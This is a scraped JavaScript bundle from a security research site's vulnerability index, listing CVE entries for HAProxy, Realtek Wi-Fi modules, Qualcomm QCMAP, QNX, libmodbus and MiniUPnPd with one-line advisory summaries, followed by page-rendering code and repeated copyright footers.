Smuggling",description:"CVE-2021-40346 High severity. An integer overflow in HAProxy leads to HTTP Smuggling via simple network requests",date_published:"2021-07-09",xray_id:"XRAY-184496",vul_id:"CVE-2021-40346",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"3b9de2178fc5fb2b900be2246e4e0eb0",path:"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/",title:"Realtek 8710 WPA2 stack overflow",description:"CVE-2020-27302 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution",date_published:"2021-06-02",xray_id:"XRAY-194061",vul_id:"CVE-2020-27302",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"d0aada54c9fe9cb23a6b89acac32f814",path:"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/",title:"Realtek 8710 WPA2 stack overflow",description:"CVE-2020-27301 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution",date_published:"2021-06-02",xray_id:"XRAY-194060",vul_id:"CVE-2020-27301",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"b8f56da6e5d5a650fbe70527f799e3ab",path:"/vulnerabilities/xss-in-nanohttpd-xray-141192/",title:"XSS in NanoHTTPD",description:"CVE-2020-13697 High severity. An attacker can run malicious JavaScript code due to an XSS in the *GeneralHandler* GET handler.",date_published:"2021-02-23",xray_id:"XRAY-141192",vul_id:"CVE-2020-13697",severity:"high",discovered_by:"Andrey Polkovnychenko",type:"vulnerability"}},{node:{id:"a65e95bc29c1395fff6fc5c2e6f60c44",path:"/vulnerabilities/realtek-rtl8195-a-rce-xray-194070/",title:"Realtek RTL8195A RCE",description:"CVE-2020-25853 High severity. A stack buffer over-read in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194070",vul_id:"CVE-2020-25853",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"d7a0319db59e3440c4d35fff6a250ebd",path:"/vulnerabilities/realtek-rtl8195-a-rce-xray-194069/",title:"Realtek RTL8195A RCE",description:"CVE-2020-25854 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194069",vul_id:"CVE-2020-25854",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"9b780bdfff73a4781a6aafa122451915",path:"/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/",title:"Realtek RTL8195A RCE",description:"CVE-2020-25855 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194068",vul_id:"CVE-2020-25855",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"b3428cfed1e7d774a961765e077ea501",path:"/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/",title:"Realtek RTL8195A RCE",description:"CVE-2020-25856 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194067",vul_id:"CVE-2020-25856",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"f7ad5174c35341d351509f02f49230b1",path:"/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/",title:"Realtek RTL8195A DoS",description:"CVE-2020-25857 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194066",vul_id:"CVE-2020-25857",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"0696f1348e5fd33f64d12c86d9059830",path:"/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/",title:"Realtek multiple Wi-Fi modules RCE",description:"CVE-2020-9395 High severity. A stack buffer overflow in Realtek Wi-Fi modules allows attackers in wireless range to perform arbitrary code execution by impersonating a Wi-Fi access point",date_published:"2021-02-03",xray_id:"XRAY-194071",vul_id:"CVE-2020-9395",severity:"high",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"afb4a608d1dda8ad3e21597a14ac3355",path:"/vulnerabilities/pengutronix-rauc-signature-bypass-xray-194062/",title:"Pengutronix RAUC signature bypass",description:"CVE-2020-25860 Medium severity. ToCToU in Pengutronix RAUC allows attackers to bypass signature verification",date_published:"2020-12-21",xray_id:"XRAY-194062",vul_id:"CVE-2020-25860",severity:"medium",discovered_by:"Uriya Yavnieli",type:"vulnerability"}},{node:{id:"7dd1f33acec725f349a708329119b53a",path:"/vulnerabilities/qcmap-web-interface-null-pointer-dereference-xray-194064/",title:"QCMAP Web Interface NULL pointer dereference",description:"CVE-2020-25858 High severity. A null pointer dereference in the QCMAP_Web_CLIENT binary in the Qualcomm QCMAP software suite allows authenticated network attackers to cause denial of service by sending a request with a crafted URL.",date_published:"2020-10-14",xray_id:"XRAY-194064",vul_id:"CVE-2020-25858",severity:"high",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"4c8ca4f240802ae8cc0fef0a149925ad",path:"/vulnerabilities/qcmap-web-interface-rce-xray-194063/",title:"QCMAP Web Interface RCE",description:"CVE-2020-3657 Critical severity. Command injection and stack overflow in the Qualcomm QCMAP Web Interface leads to remote code execution",date_published:"2020-10-14",xray_id:"XRAY-194063",vul_id:"CVE-2020-3657",severity:"critical",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"024ccccff0461def7bbd5db8c52e56af",path:"/vulnerabilities/qcmap-cli-command-injection-xray-194065/",title:"QCMAP CLI command injection",description:"CVE-2020-25859 Medium severity. Insufficient input validation in the QCMAP_CLI utility in the Qualcomm QCMAP software suite allows authenticated unprivileged local attackers to perform arbitrary code execution by sending crafted CLI commands.",date_published:"2020-10-14",xray_id:"XRAY-194065",vul_id:"CVE-2020-25859",severity:"medium",discovered_by:"Ori Hollander",type:"vulnerability"}},{node:{id:"affa37adb5a40ea15e2c9f0fbce942db",path:"/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/",title:"QNX slinger path traversal RCE",description:"CVE-2020-6932 Critical severity. Path traversal in the slinger web server on BlackBerry QNX allows unauthenticated network attackers to run arbitrary executables and read arbitrary files with the privileges of the web server by sending a simple crafted packet",date_published:"2020-08-12",xray_id:"XRAY-194072",vul_id:"CVE-2020-6932",severity:"critical",discovered_by:"Ilya Khivrich",type:"vulnerability"}},{node:{id:"4a4de6a8f345b4a28d26bff1af78459b",path:"/vulnerabilities/libmodbus-modbus-fc-write-multiple-registers-oob-r-xray-150046/",title:"libmodbus MODBUS_FC_WRITE_MULTIPLE_REGISTERS OOB-R",description:"CVE-2019-14463 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.",date_published:"2019-07-31",xray_id:"XRAY-150046",vul_id:"CVE-2019-14463",severity:"critical",discovered_by:"Maor Vermucht",type:"vulnerability"}},{node:{id:"5242aa341dad1faa61079fcd97206d34",path:"/vulnerabilities/libmodbus-modbus-fc-write-multiple-coils-oob-r-xray-150047/",title:"libmodbus MODBUS_FC_WRITE_MULTIPLE_COILS OOB-R",description:"CVE-2019-14462 Critical severity. Insufficient input validation in the libmodbus library allows unprivileged local network attackers to cause data leakage by sending simple crafted packets.",date_published:"2019-07-31",xray_id:"XRAY-150047",vul_id:"CVE-2019-14462",severity:"critical",discovered_by:"Maor Vermucht",type:"vulnerability"}},{node:{id:"e26bd804a045e7ba06910c6305edcc70",path:"/vulnerabilities/miniupnpd-upnp-event-prepare-infoleak-xray-148214/",title:"MiniUPnPd upnp_event_prepare infoleak",description:"CVE-2019-12107 High severity. Information leakage in MiniUPnPd due to improper validation of snprintf return value",date_published:"2019-02-06",xray_id:"XRAY-148214",vul_id:"CVE-2019-12107",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}},{node:{id:"60dc99f26d4f449cb88a44b6974ac6ee",path:"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148213/",title:"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference",description:"CVE-2019-12108 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for int_port",date_published:"2019-02-06",xray_id:"XRAY-148213",vul_id:"CVE-2019-12108",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}},{node:{id:"eb24b54b7b44dd20e6ffbc143ef1022f",path:"/vulnerabilities/miniupnpd-getoutboundpinholetimeout-null-pointer-dereference-xray-148212/",title:"MiniUPnPd GetOutboundPinholeTimeout NULL pointer dereference",description:"CVE-2019-12109 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpsoap.c for rem_port",date_published:"2019-02-06",xray_id:"XRAY-148212",vul_id:"CVE-2019-12109",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}},{node:{id:"ce4d1474920dea66f4b9128d5a230a20",path:"/vulnerabilities/miniupnpd-copyipv6-ifdifferent-null-pointer-dereference-xray-162485/",title:"MiniUPnPd copyIPv6IfDifferent NULL pointer dereference",description:"CVE-2019-12111 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in pcpserver.c",date_published:"2019-02-06",xray_id:"XRAY-162485",vul_id:"CVE-2019-12111",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}},{node:{id:"eb948f39b66a81b642d2a91c5ca0fbe3",path:"/vulnerabilities/miniupnpd-addportmapping-null-pointer-dereference-xray-148211/",title:"MiniUPnPd AddPortMapping NULL pointer dereference",description:"CVE-2019-12110 High severity. Denial Of Service in MiniUPnPd due to a NULL pointer dereference in upnpredirect.c",date_published:"2019-02-06",xray_id:"XRAY-148211",vul_id:"CVE-2019-12110",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}},{node:{id:"40f6c237de4deab7b34b44c3917cd6f0",path:"/vulnerabilities/minissdpd-updatedevice-uaf-xray-161552/",title:"MiniSSDPd updateDevice UaF",description:"CVE-2019-12106 High severity. The updateDevice function in MiniSSDPd allows a remote attacker to crash the process due to a Use-After-Free",date_published:"2019-02-06",xray_id:"XRAY-161552",vul_id:"CVE-2019-12106",severity:"high",discovered_by:"Ben Barnea",type:"vulnerability"}}]}},y=function(e){var i=e.options;i.__staticData?i.__staticData.data=u:(i.__staticData=o.a.observable({data:u}),i.computed=c({$static:function(){return i.__staticData.data}},i.computed))},v=Object(l.a)(s,(function(){var e=this,i=e.$createElement,t=e._self._c||i;return t("Layout",[t("div",{staticClass:"container py-10"},[t("g-link",{staticClass:"hover:text-jfrog-green",attrs:{to:"/"}},[e._v("\n < Back\n ")]),t("div",{staticClass:"flex flex-wrap gap-4 justify-between"},[t("div",{staticClass:"left"},[t("h1",{staticClass:"mt-5 mb-0 pb-2"},[e._v(" "+e._s(e.title)+" ")]),t("p",{staticClass:"text-xs"},[e._v("Last Updated On "),t("span",{staticClass:"font-bold"},[e._v(" "+e._s(e.latestPostDate)+" ")])])]),t("div",{staticClass:"right"},[t("BannerSmall",{attrs:{number:e.bannerNumber,title:e.bannerTitle}})],1)]),t("div",{staticClass:"posts pt-5 sm:pt-10"},[t("ul",{staticClass:"block"},e._l(e.activeChunk,(function(i){return t(e.VulnerListItem,{key:i.node.id,tag:"component",attrs:{vul:i.node}})})),1)]),t("div",{staticClass:"pagination pt-4"},[t("ul",{staticClass:"flex gap-2 flex-wrap max-w-full"},e._l(e.postsChunks,(function(i,a){return t("li",{key:a},[t("button",{class:e.getPaginationClass(a+1),on:{click:function(i){e.currentPage=a+1}}},[e._v("\n "+e._s(a+1)+"\n ")])])})),0)])],1)])}),[],!1,null,null,null);"function"==typeof y&&y(v);i.default=v.exports},VrYi:function(e,i,t){"use strict";var a={name:"BannerSmall",data:function(){return{bannerClass:"sr-banner sr-banner-small px-5 py-2 text-center bg-center bg-cover text-white bg-".concat(this.color)}},props:{color:{type:String,default:"jfrog-green"},number:{type:String,default:"500"},title:{type:String,default:"Vulnerabilities discovered"}}},r=(t("1rDP"),t("KHd+")),d=Object(r.a)(a,(function(){var e=this.$createElement,i=this._self._c||e;return i("div",{class:this.bannerClass},[i("div",{staticClass:"justify-between flex- flex items-center"},[i("div",{staticClass:"number mt-2"},[this._v(this._s(this.number))]),i("div",{directives:[{name:"g-image",rawName:"v-g-image"}],staticClass:"title text-left px-4",domProps:{innerHTML:this._s(this.title)}})])])}),[],!1,null,null,null);i.a=d.exports},h3Lo:function(e,i,t){},pDQq:function(e,i,t){"use strict";var a=t("I+eb"),r=t("I8vh"),d=t("ppGB"),n=t("UMSQ"),s=t("ewvW"),l=t("ZfDv"),o=t("hBjN"),c=t("Hd5f")("splice"),u=Math.max,y=Math.min;a({target:"Array",proto:!0,forced:!c},{splice:function(e,i){var t,a,c,v,b,p,h=s(this),f=n(h.length),m=r(e,f),_=arguments.length;if(0===_?t=a=0:1===_?(t=0,a=f-m):(t=_-2,a=y(u(d(i),0),f-m)),f+t-a>9007199254740991)throw TypeError("Maximum allowed length exceeded");for(c=l(h,a),v=0;v
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research©2023 All Rights Reserved. JFrog Ltd.
JFrog Security Research